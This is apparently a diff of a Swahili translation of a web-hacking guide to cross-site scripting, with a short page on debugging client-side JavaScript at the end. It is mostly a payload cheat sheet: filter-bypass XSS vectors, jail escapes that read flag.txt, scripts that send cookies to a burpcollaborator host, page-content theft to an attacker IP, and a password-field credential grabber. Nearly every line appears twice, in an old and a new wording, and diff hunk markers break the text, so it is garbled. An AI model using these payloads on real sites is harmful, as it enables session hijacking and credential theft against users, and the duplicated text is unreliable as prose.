Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodia ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachukuliwa **kama HTML** au **imeondolewa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
Wakati ingizo lako linarejelewa **ndani ya ukurasa wa HTML** au unaweza kutoroka na kuingiza kodhi ya HTML katika muktadha huu, **jambo la kwanza** unahitaji kufanya ni kuangalia kama unaweza kutumia `<` kuunda lebo mpya: Jaribu tu **kuonyesha** hiyo **herufi** na uone kama inachakatwa **HTML** au **kufutwa** au ikiwa inarejelewa **bila mabadiliko**. **Ni tu katika kesi ya mwisho utaweza kutumia kesi hii**.\
Kwa kesi hizi pia **zingatia** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Kumbuka: Maoni ya HTML yanaweza kufungwa kwa kutumia\*\***\***\*`-->`\*\***\***\*au \*\***`--!>`\*\*_
Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyekundu inatumika, unaweza kutumia payloads kama:
Katika kesi hii na ikiwa hakuna orodha ya nyeusi/nyeupe inatumika, unaweza kutumia payloads kama:
```html
<script>
alert(1)
@ -161,16 +163,16 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Lakini, ikiwa black/whitelisting ya tags/attributes inatumika, utahitaji **kujaribu nguvu ambazo tags** unaweza kuunda.\
Lakini, ikiwa black/whitelisting ya tags/attributes inatumika, utahitaji **kujaribu nguvu ambayo tags** unaweza kuunda.\
Mara tu unapokuwa **umeweza kubaini ni tags zipi zinazoruhusiwa**, utahitaji **kujaribu nguvu attributes/events** ndani ya tags zilizopatikana ili kuona jinsi unavyoweza kushambulia muktadha.
### Tags/Events kujaribu nguvu
### Tags/Events brute-force
Nenda kwenye [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) na bonyeza _**Copy tags to clipboard**_. Kisha, tuma zote kwa kutumia Burp intruder na angalia ikiwa kuna tags yoyote ambayo haikugunduliwa kama mbaya na WAF. Mara tu unapokuwa umepata ni tags zipi unaweza kutumia, unaweza **kujaribu nguvu matukio yote** kwa kutumia tags halali (katika ukurasa huo huo bonyeza _**Copy events to clipboard**_ na ufuate utaratibu sawa kama hapo awali).
### Tags za kawaida
### Custom tags
Ikiwa huja pata tag halali ya HTML, unaweza kujaribu **kuunda tag ya kawaida** na kutekeleza msimbo wa JS kwa kutumia attribute `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
Ikiwa hujapata tag halali ya HTML, unaweza kujaribu **kuunda tag maalum** na kutekeleza msimbo wa JS kwa kutumia attribute ya `onfocus`. Katika ombi la XSS, unahitaji kumaliza URL na `#` ili kufanya ukurasa **uangalie kwenye kitu hicho** na **utekeleze** msimbo:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -267,12 +269,12 @@ Ikiwa huwezi **kutoroka kutoka kwa tag**, unaweza kuunda sifa mpya ndani ya tag
```
### Ndani ya sifa
Hata kama huwezi **kutoroka kutoka kwa sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarejelewa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Hata kama huwezi **kutoroka kutoka kwenye sifa** (`"` inakodishwa au kufutwa), kulingana na **sifa ipi** thamani yako inarudishwa ndani **kama unadhibiti thamani yote au sehemu tu** utaweza kuitumia vibaya. Kwa **mfano**, ikiwa unadhibiti tukio kama `onclick=` utaweza kufanya itekeleze msimbo wa kiholela inapobofya.\
Mfano mwingine wa kuvutia ni sifa `href`, ambapo unaweza kutumia itifaki `javascript:` kutekeleza msimbo wa kiholela: **`href="javascript:alert(1)"`**
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/kuandika URL**
**Kutoroka ndani ya tukio kwa kutumia uandishi wa HTML/uandishi wa URL**
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML **zinatolewa wakati wa wakati wa utekelezaji**. Hivyo basi kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
**Herufi zilizokodishwa za HTML** ndani ya thamani ya sifa za vitambulisho vya HTML **zinatolewa wakati wa wakati wa kutekeleza**. Kwa hivyo kitu kama ifuatavyo kitakuwa halali (mzigo uko kwenye maandiko makubwa): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Rudi Nyuma </a>`
Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
```javascript
@ -303,7 +305,7 @@ Kumbuka kwamba **aina yoyote ya uandishi wa HTML ni halali**:
```
### Mipango Maalum Ndani ya sifa
Hapo unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
Hapa unaweza kutumia mipango **`javascript:`** au **`data:`** katika baadhi ya maeneo ili **kutekeleza msimbo wa JS wa kiholela**. Baadhi zitahitaji mwingiliano wa mtumiaji na zingine hazitahitaji.
```javascript
javascript:alert(1)
JavaSCript:alert(1)
@ -325,7 +327,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Mahali ambapo unaweza kuingiza protokali hizi**
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa `href`** na katika **zaidi ya** tag nyingi zinazokubali **sifa `src`** (lakini si `<img>`)
**Kwa ujumla** protokali ya `javascript:` inaweza **kutumika katika tag yoyote inayokubali sifa `href`** na katika **zaidi ya** tag ambazo zinakubali **sifa `src`** (lakini si `<img>`)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -347,17 +349,17 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Njia nyingine za kuficha**
_**Katika kesi hii, njia ya usimbuaji wa HTML na usimbuaji wa Unicode kutoka sehemu iliyopita pia ni halali kwani uko ndani ya sifa.**_
_**Katika kesi hii, usimbuaji wa HTML na ujanja wa usimbuaji wa Unicode kutoka sehemu ya awali pia ni halali kwani uko ndani ya sifa.**_
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Zaidi ya hayo, kuna **hila nzuri** kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapewa URL encoding, litakuwa URL decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapewa URL encoding**, kumbuka kwamba **haijalishi,** litakuwa **limefasiriwa** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
Zaidi ya hayo, kuna **hila nzuri** kwa kesi hizi: **Hata kama ingizo lako ndani ya `javascript:...` linapandishwa URL, litakuwa decoded kabla ya kutekelezwa.** Hivyo, ikiwa unahitaji **kutoroka** kutoka kwa **nyuzi** kwa kutumia **nukta moja** na unaona kwamba **linapandishwa URL**, kumbuka kwamba **haijalishi,** litakuwa **kimeeleweka** kama **nukta moja** wakati wa **wakati wa utekelezaji.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Kumbuka kwamba ikiwa utajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
Kumbuka kwamba ikiwa unajaribu **kutumia zote** `URLencode + HTMLencode` kwa mpangilio wowote ili kuandika **payload** haitafanya **kazi**, lakini unaweza **kuziunganisha ndani ya payload**.
**Kutumia Hex na Octal encode na `javascript:`**
@ -377,7 +379,7 @@ Unaweza kutumia **Hex** na **Octal encode** ndani ya sifa ya `src` ya `iframe` (
```javascript
<a target="_blank" rel="opener"
```
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mpangilio ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
Ikiwa unaweza kuingiza URL yoyote katika tag ya **`<a href=`** isiyo na mipaka ambayo ina sifa za **`target="_blank" na rel="opener"`**, angalia **ukurasa ufuatao ili kutumia tabia hii**:
{{#ref}}
../reverse-tab-nabbing.md
@ -401,9 +403,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS katika "Madaraja Yasiyoweza Kutumika" (ingizo lililofichwa, kiungo, kanuni, meta)
### XSS katika "Madaraja Yasiyoweza Kutumika" (kigezo kilichofichwa, kiungo, kanuni, meta)
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya ingizo lililofichwa na:**
Kutoka [**hapa**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **sasa inawezekana kutumia vibaya kigezo kilichofichwa na:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -426,29 +428,29 @@ Kutoka [**hapa**](https://portswigger.net/research/xss-in-hidden-input-fields):
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
**Mchango wa XSS utakuwa kama ifuatavyo: `" accesskey="x" onclick="alert(1)" x="`**
**Payload ya XSS itakuwa kama hii: `" accesskey="x" onclick="alert(1)" x="`**
### Kupita kwenye Orodha ya Blacklist
Hizi ni mbinu kadhaa za kutumia uandishi tofauti ambazo tayari zimeonyeshwa ndani ya sehemu hii. Rudi **kujifunza wapi unaweza kutumia:**
- **Uandishi wa HTML (vitambulisho vya HTML)**
- **Uandishi wa Unicode (unaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
- **Uandishi wa Unicode (inaweza kuwa msimbo halali wa JS):** `\u0061lert(1)`
- **Uandishi wa URL**
- **Uandishi wa Hex na Octal**
- **Uandishi wa data**
**Kupita kwenye vitambulisho vya HTML na sifa**
**Kupita kwa vitambulisho na sifa za HTML**
Soma [Kupita kwenye Orodha ya Blacklist ya sehemu ya awali](#blacklist-bypasses).
**Kupita kwenye msimbo wa JavaScript**
**Kupita kwa msimbo wa JavaScript**
Soma [Orodha ya Blacklist ya kupita ya JavaScript ya sehemu ifuatayo](#javascript-bypass-blacklists-techniques).
Soma [orodha ya kupita ya JavaScript ya sehemu ifuatayo](#javascript-bypass-blacklists-techniques).
### CSS-Gadgets
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufanyika.
Ikiwa umepata **XSS katika sehemu ndogo sana** ya wavuti inayohitaji aina fulani ya mwingiliano (labda kiungo kidogo kwenye footer chenye kipengele cha onmouseover), unaweza kujaribu **kubadilisha nafasi ambayo kipengele hicho kinachukua** ili kuongeza uwezekano wa kiungo hicho kufunguliwa.
Kwa mfano, unaweza kuongeza mtindo katika kipengele kama: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
@ -468,7 +470,7 @@ Hii mbinu ilichukuliwa kutoka [https://medium.com/@skavans\_/improving-the-impac
## Kuingiza ndani ya msimbo wa JavaScript
Katika kesi hizi **input** yako itakuwa **imeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
Katika kesi hizi **ingizo** lako litakuwa **limeakisiwa ndani ya msimbo wa JS** wa faili ya `.js` au kati ya vitambulisho vya `<script>...</script>` au kati ya matukio ya HTML ambayo yanaweza kutekeleza msimbo wa JS au kati ya sifa zinazokubali itifaki ya `javascript:`.
### Kutoroka \<script> tag
@ -480,7 +482,7 @@ Kumbuka kwamba katika mfano huu **hatujafunga nukta moja**. Hii ni kwa sababu **
### Ndani ya msimbo wa JS
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina **patikana** na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako linapatikana na **kutekeleza JS isiyo ya kawaida**. Ni muhimu **kurekebisha sintaksia ya JS**, kwa sababu ikiwa kuna makosa yoyote, msimbo wa JS hautatekelezwa:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -488,10 +490,10 @@ Ikiwa `<>` zinatakaswa unaweza bado **kuepuka mfuatano** ambapo ingizo lako lina
```
### Template literals \`\`
Ili kujenga **nyuzi** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **kuingiza maelekezo ya JS** kwa kutumia sintaksia `${ ... }`.\
Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **ndani ya** nyuzi ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **kodhi ya JS isiyo na mipaka**:
Ili kujenga **strings** mbali na nukta moja na mbili, JS pia inakubali **backticks** **` `` `**. Hii inajulikana kama template literals kwani inaruhusu **expressions za JS** kuingizwa kwa kutumia sintaksia `${ ... }`.\
Hivyo, ikiwa utagundua kuwa ingizo lako linatolewa **reflected** ndani ya string ya JS inayotumia backticks, unaweza kutumia sintaksia `${ ... }` kutekeleza **arbitrary JS code**:
Hii inaweza **kutumiwa vibaya** kwa kutumia:
Hii inaweza **kuabudiwa** kwa kutumia:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@ -562,7 +564,7 @@ eval(8680439..toString(30))(983801..toString(36))
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
**JavaScript mistari mipya (kutoka** [**hila ya JavaScript mistari mipya**](#javascript-new-lines) **)**
**JavaScript mistari mipya (kutoka** [**JavaScript mistari mipya**](#javascript-new-lines) **hila)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@ -739,7 +741,7 @@ top[8680439..toString(30)](1)
```
## **Vikosi vya DOM**
Kuna **kodii ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodii ya JS isiyo na mipaka.\
Kuna **kodiyake ya JS** inayotumia **data isiyo salama inayodhibitiwa na mshambuliaji** kama `location.href`. Mshambuliaji anaweza kutumia hii kutekeleza kodiyake ya JS isiyo na mipaka.\
**Kwa sababu ya upanuzi wa maelezo ya** [**vikosi vya DOM, imehamishwa kwenye ukurasa huu**](dom-xss.md)**:**
{{#ref}}
@ -753,7 +755,7 @@ Pia, usisahau kwamba **mwishoni mwa chapisho lililotajwa** unaweza kupata maelez
### Cookie XSS
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains nyingine (zilizo hatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
Ikiwa unaweza kuanzisha XSS kwa kutuma payload ndani ya cookie, hii kwa kawaida ni self-XSS. Hata hivyo, ikiwa unapata **subdomain iliyo hatarini kwa XSS**, unaweza kutumia XSS hii kuingiza cookie katika domain nzima na kufanikisha kuanzisha cookie XSS katika domain kuu au subdomains zingine (zinazo hatarini kwa cookie XSS). Kwa hili unaweza kutumia shambulio la cookie tossing:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
@ -765,13 +767,13 @@ Unaweza kupata matumizi makubwa ya mbinu hii katika [**chapisho hili la blog**](
Labda mtumiaji anaweza kushiriki profaili yake na admin na ikiwa self XSS iko ndani ya profaili ya mtumiaji na admin anapofikia, atachochea udhaifu huo.
### Kioo cha Kikao
### Kurefusha Kikao
Ikiwa unapata self XSS na ukurasa wa wavuti una **kioo cha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Ikiwa unapata self XSS na ukurasa wa wavuti una **kurefusha kikao kwa wasimamizi**, kwa mfano kuruhusu wateja kuomba msaada na ili admin akusaidie atakuwa akiona kile unachokiona katika kikao chako lakini kutoka kikao chake.
Unaweza kumfanya **msimamizi achochee self XSS yako** na kuiba cookies/kikao chake.
## Bypass Nyingine
## Njia Nyingine za Kupita
### Unicode Iliyosawazishwa
@ -788,7 +790,7 @@ Mfano wa fomu ([from this report](https://hackerone.com/reports/709336)), ikiwa
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Jumla "Key","Value" itarudi kama ifuatavyo:
Wakati wa "Key","Value" utaonyeshwa tena kama ifuatavyo:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -826,18 +828,18 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS na uingizaji wa kichwa katika jibu la 302
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kifanye JavaScript isiyo ya kawaida**. Hii **sio rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa.
Ikiwa unapata kwamba unaweza **kuingiza vichwa katika jibu la 302 Redirect** unaweza kujaribu **kufanya kivinjari kiendeshe JavaScript isiyo na mipaka**. Hii si **rahisi** kwani vivinjari vya kisasa havitafsiri mwili wa jibu la HTTP ikiwa msimamo wa jibu la HTTP ni 302, hivyo payload ya cross-site scripting pekee haitakuwa na manufaa.
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Katika [**ripoti hii**](https://www.gremwell.com/firefox-xss-302) na [**hii moja**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) unaweza kusoma jinsi unavyoweza kujaribu protokali kadhaa ndani ya kichwa cha Location na kuona ikiwa yoyote kati yao inaruhusu kivinjari kuchunguza na kutekeleza payload ya XSS ndani ya mwili.\
Protokali zilizojulikana zamani: `mailto://`, `//x:1/`, `ws://`, `wss://`, _kichwa cha Location kisicho na kitu_, `resource://`.
### Herufi, Nambari na Nukta Pekee
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inafanya** ikipunguzia herufi hizo. [**Soma sehemu hii ya chapisho hili**](#javascript-function) ili kujua jinsi ya kutumia tabia hii.
Ikiwa unaweza kuonyesha **callback** ambayo javascript itakuwa **inaendesha** ikipunguzwa kwa herufi hizo. [**Soma sehemu hii ya chapisho hili**](#javascript-function) ili kujua jinsi ya kutumia tabia hii.
### Aina za Maudhui Halali za `<script>` kwa XSS
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatupa kosa lifuatalo:
(Kutoka [**hapa**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Ikiwa unajaribu kupakia script yenye **aina ya maudhui** kama `application/octet-stream`, Chrome itatoa kosa lifuatalo:
> Refused to execute script from [https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (application/octet-stream) is not executable, and strict MIME type checking is enabled.
@ -897,9 +899,9 @@ import moment from "moment"
import { partition } from "lodash"
</script>
```
Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuweza kuibua XSS.
Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/master/solution) kubadilisha maktaba ili eval kuitumia vibaya inaweza kusababisha XSS.
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua matatizo fulani yanayosababishwa na pre-rendering. Kifanyikavyo ni hivi:
- [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Kipengele hiki hasa kinakusudia kutatua baadhi ya matatizo yanayosababishwa na pre-rendering. Inafanya kazi kama ifuatavyo:
```html
<script type="speculationrules">
{
@ -928,7 +930,7 @@ Tabia hii ilitumika katika [**hii andiko**](https://github.com/zwade/yaca/tree/m
- application/rss+xml (off)
- application/atom+xml (off)
Katika vivinjari vingine aina nyingine za **`Content-Types`** zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
Katika vivinjari vingine **`Content-Types`** nyingine zinaweza kutumika kutekeleza JS isiyo na mipaka, angalia: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
### xml Content Type
@ -952,9 +954,9 @@ Kwa mfano katika [**hii andiko**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA)
chrome-cache-to-xss.md
{{#endref}}
### Kukwepa XS Jails
### XS Jails Kutoroka
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia suluhisho hizi nyingine halali za matatizo ya XSJail:
Ikiwa una seti ndogo tu ya wahusika kutumia, angalia hizi suluhisho nyingine halali za matatizo ya XSJail:
```javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
@ -985,7 +987,7 @@ constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
```
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii andiko**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
Ikiwa **kila kitu hakijafafanuliwa** kabla ya kutekeleza msimbo usioaminika (kama ilivyo katika [**hii ripoti**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)) inawezekana kuunda vitu vya manufaa "kutoka kwa chochote" ili kutumia utekelezaji wa msimbo usioaminika:
- Kutumia import()
```javascript
@ -1238,7 +1240,7 @@ steal-info-js.md
### Iframe Trap
Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
Fanya mtumiaji aelekee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitendo vyake (ikiwemo taarifa zinazotumwa kwenye fomu):
{{#ref}}
../iframe-traps.md
@ -1266,10 +1268,10 @@ Fanya mtumiaji aendelee kwenye ukurasa bila kutoka kwenye iframe na kuiba vitend
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Hutaweza kufikia vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa kuna [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika.
> [!TIP]
> Hutaweza kupata vidakuzi kutoka JavaScript ikiwa bendera ya HTTPOnly imewekwa kwenye kidakuzi. Lakini hapa kuna [njia kadhaa za kupita ulinzi huu](../hacking-with-cookies/index.html#httponly) ikiwa umebahatika.
### Pora Maudhui ya Ukurasa
### Kuiba Maudhui ya Ukurasa
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1377,11 +1379,11 @@ mode: 'no-cors',
body:username.value+':'+this.value
});">
```
Wakati data yoyote inapoingizwa kwenye uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja.
Wakati data yoyote inapoingizwa katika uwanja wa nywila, jina la mtumiaji na nywila vinatumwa kwa seva ya washambuliaji, hata kama mteja anachagua nywila iliyohifadhiwa na hajiandikishe chochote, taarifa za kuingia zitavuja.
### Keylogger
Nilipokuwa nikitafuta kwenye github, nilipata tofauti kadhaa:
Nikiwa naangalia katika github, nilipata tofauti kadhaa:
- [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
- [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
@ -1531,16 +1533,16 @@ Unaweza kuingiza msimbo wa Markdown ambao utaonyeshwa? Labda unaweza kupata XSS!
xss-in-markdown.md
{{#endref}}
### XSS kwa SSRF
### XSS hadi SSRF
Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo kuwa SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
Umepata XSS kwenye **tovuti inayotumia caching**? Jaribu **kuinua hiyo hadi SSRF** kupitia Edge Side Include Injection kwa kutumia payload hii:
```python
<esi:include src="http://yoursite.com/capture" />
```
Tumia hii kupita vizuizi vya cookie, XSS filters na mengi zaidi!\
Taarifa zaidi kuhusu mbinu hii hapa: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
### XSS katika PDF inayoundwa kwa dinamik
### XSS katika PDF iliyoundwa kwa dinamik
Ikiwa ukurasa wa wavuti unaunda PDF kwa kutumia input inayodhibitiwa na mtumiaji, unaweza kujaribu **kudanganya bot** inayounda PDF ili **kutekeleza msimbo wa JS usio na mipaka**.\
Hivyo, ikiwa **bot ya kuunda PDF inapata** aina fulani ya **HTML** **tags**, itakuwa **inafasiri** hizo, na unaweza **kutumia** tabia hii kusababisha **Server XSS**.
@ -1621,9 +1623,9 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Pata **zaidi ya payloads za SVG katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Pata **SVG payloads zaidi katika** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Mambo Mengine ya JS & Taarifa Zinazohusiana
## Mifano ya JS Mbalimbali & Taarifa Muhimu
{{#ref}}
other-js-tricks.md

View File

@ -1,18 +1,16 @@
# Debugging Client Side JS
## Debugging Client Side JS
{{#include ../../banners/hacktricks-training.md}}
Kurekebisha JS upande wa mteja kunaweza kuwa shida kwa sababu kila wakati unabadilisha URL (ikiwemo mabadiliko katika params zilizotumika au thamani za param) unahitaji **kurekebisha breakpoint na kupakia tena ukurasa**.
Kurekebisha JS upande wa mteja kunaweza kuwa shida kwa sababu kila wakati unabadilisha URL (ikiwemo mabadiliko katika vigezo vilivyotumika au thamani za vigezo) unahitaji **kurekebisha breakpoint na kupakia tena ukurasa**.
### `debugger;`
Ikiwa utaweka mstari `debugger;` ndani ya faili la JS, wakati **browsa** inatekeleza JS itasimamisha **debugger** mahali hapo. Hivyo, njia moja ya kuweka breakpoints za kudumu ingekuwa **kushusha faili zote kwa ndani na kubadilisha kuweka breakpoints katika msimbo wa JS**.
Ikiwa utaweka mstari `debugger;` ndani ya faili la JS, wakati **browsers** inatekeleza JS itasimamisha **debugger** mahali hapo. Hivyo, njia moja ya kuweka breakpoints za kudumu ingekuwa **kupakua faili zote kwa ndani na kubadilisha kuweka breakpoints katika msimbo wa JS**.
### Overrides
Mabadiliko ya browsa yanaruhusu kuwa na nakala ya ndani ya msimbo ambayo itatekelezwa na kutekeleza hiyo badala ya ile kutoka kwa seva ya mbali.\
Mabadiliko ya kivinjari yanaruhusu kuwa na nakala ya ndani ya msimbo ambayo itatekelezwa na kutekeleza hiyo badala ya ile kutoka kwa seva ya mbali.\
Unaweza **kufikia mabadiliko** katika "Dev Tools" --> "Sources" --> "Overrides".
